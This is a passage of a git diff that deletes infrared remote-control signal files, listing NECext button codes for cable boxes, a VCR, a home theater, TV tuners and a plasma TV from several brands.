KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: pcontrol -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir deleted file mode 100644 index a7e65228b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir +++ /dev/null @@ -1,506 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CBL_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: CBL_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: CBL_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: CBL_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: CBL_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: CBL_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: CBL_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: CBL_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: CBL_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: CBL_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: CBL_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: CBL_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: CBL_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: CBL_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: CBL_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: CBL_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: CBL_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: CBL_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: CBL_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: CBL_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: CBL_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CBL_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CBL_CHAN+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CBL_CHAN+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CBL_CHAN- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: CBL_CHAN- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: CBL_VOL+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: CBL_VOL+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: CBL_VOL- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: CBL_VOL- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: CBL_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: CBL_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: CBL_MUSIC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: CBL_MUSIC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: CBL_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CBL_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: CBL_LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: CBL_LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: CBL_BYPASS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: CBL_BYPASS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: CBL_FAV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: CBL_FAV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: CBL_LOCK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: CBL_LOCK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: CBL_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: CBL_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: CBL_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: CBL_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: CBL_FF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: CBL_FF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: CBL_REW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: CBL_REW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: CBL_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: CBL_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: CBL_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: CBL_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: CBL_C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: CBL_C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: CBL_GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: CBL_GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: CBL_REC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: CBL_REC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: CBL_HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: CBL_HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: CBL_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: CBL_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: CBL_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: CBL_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: CBL_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: CBL_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: CBL_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: CBL_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: CBL_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: CBL_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: CBL_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: CBL_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: CBL_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: CBL_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: CBL_PAGE+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: CBL_PAGE+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: CBL_PAGE- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: CBL_PAGE- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir deleted file mode 100644 index 5a28d74fc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: pause/still -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 12 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 14 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 16 00 00 00 -# -name: ch_dwn -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 17 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 19 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 1A 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 16 00 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir deleted file mode 100644 index c508cbefb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BASS- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: MP3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: BASS+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: SW- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: CEN- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: TREB+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: SW+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: CEN+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: TUNER+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CHURCH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: ROCK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: TUNER- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: R -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: TREB_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: SL- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: SR- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: L -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: SL+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: SR+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: HALL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: POP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: DSP_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: JAZZ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: MEM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir deleted file mode 100644 index e920c5994..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: H+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: H- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: B+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: B- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: S+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: S- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: DAYLIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: C+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: C- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: AUDIO_ONLY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: CRT/LCD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: Exchange -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: RES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: AV/TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir deleted file mode 100644 index 952de467b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 18 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 19 00 00 00 -# -name: KEY_RF -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1E 00 00 00 -# -name: KEY_FAV -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1F 00 00 00 -# -name: X_KEY_SCAN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: X_KEY_TV_RADIO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: X_KEY_TV_AV -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 38 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3B 00 00 00 -# -name: X_KEY_RCL -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir deleted file mode 100644 index 8237f5e90..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: auto_scan -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 02 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 03 00 00 00 -# -name: volume -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 05 00 00 00 -# -name: alarm -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 09 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0E 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0F 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 13 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 14 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 15 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 16 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1C 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1E 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1F 00 00 00 -# -name: station- -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 41 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 4C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 4D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 4E 00 00 00 -# -name: station+ -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 4F 00 00 00 -# -name: shift -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 50 00 00 00 -# -name: station -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gericom/Plasma/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gericom/Plasma/3,-1.ir deleted file mode 100644 index 68a8b0e96..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Gericom/Plasma/3,-1.ir +++ /dev/null @@ -1,356 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 00 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: INFO. -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 06 00 00 00 -# -name: PSM -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 07 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: PG_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: STILL -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0C 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0F 00 00 00 -# -name: PG_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: REVEAL -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 15 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 16 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 